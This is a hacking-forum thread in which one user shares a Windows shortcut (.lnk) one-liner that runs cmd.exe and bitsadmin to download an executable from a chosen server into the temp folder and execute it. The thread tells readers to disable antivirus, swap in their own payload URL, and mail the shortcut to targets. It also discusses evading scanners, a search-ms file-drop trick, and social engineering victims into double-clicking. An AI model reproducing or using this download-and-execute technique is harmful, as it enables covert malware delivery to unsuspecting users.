[hacxx]

Download and execute a executable by just double click in a .lnk file.

Save as shortcut (Right Click on desktop > New > Create Shortcut) and paste the line below

Code:

cmd.exe /c bitsadmin /transfer Kunami /download /priority high http://127.0.0.1/1.exe c:\windows\temp\calc.exe && if exist c:\windows\temp\calc.exe c:\windows\temp\calc.exe

How to?
1 - Disable your antivirus (This method is been detected)

2 - Extract the Shortcut from the archive


3 - Edit the code to download a exe you want and save


4 - Compress or mail the shortcut for execution

Download:
https://oxy.cloud/d/gIUe
http://ddl.to/d/293Ho

Note:
- It's malicious but the active component has been nulled.
- More available with Hacxx Latest Scripts

[mothered]

Nice one.

When my VM box Is up and running, It'll give It a shot.

[hacxx]

When my VM box Is up and running, It'll give It a shot.

You don't need vm for this one, is a shortcut (filename.lnk) that will execute bitsadmin. If you scan the object, because it is a shortcut, it will scan cmd.exe. Bitsadmin will connect to a site of your choice and download/execute the file.

There is a combination of search-ms and link drop that i want to test, may turn out to be a code execution requiring user interaction.

[mothered]

When my VM box Is up and running, It'll give It a shot.

You don't need vm for this one, is a shortcut (filename.lnk) that will execute bitsadmin. If you scan the object, because it is a shortcut, it will scan cmd.exe. Bitsadmin will connect to a site of your choice and download/execute the file.

There is a combination of search-ms and link drop that i want to test, may turn out to be a code execution requiring user interaction.

Understood.

Thanks for clarifying It.

[hacxx]

Thanks for clarifying It.

Do you know any method that download a file to the computer cache on Chrome, IE, Firefox, Opera, etc?
If yes, where the cache located?
Thanks

[mothered]

Do you know any method that download a file to the computer cache on Chrome, IE, Firefox, Opera, etc?

Not off the top of my head.

[hacxx]

Not off the top of my head.

My idea was to drop the .lnk file to the disc then with the exact path use search-ms: to get the file and inform the user to double click.
A sneaky method that may work... (require user interaction).

[mothered]

My idea was to drop the .lnk file to the disc then with the exact path use search-ms: to get the file and inform the user to double click.
A sneaky method that may work... (require user interaction).

You'd need a bit of social engineering to entice the user to execute It, which Isn't difficult at all.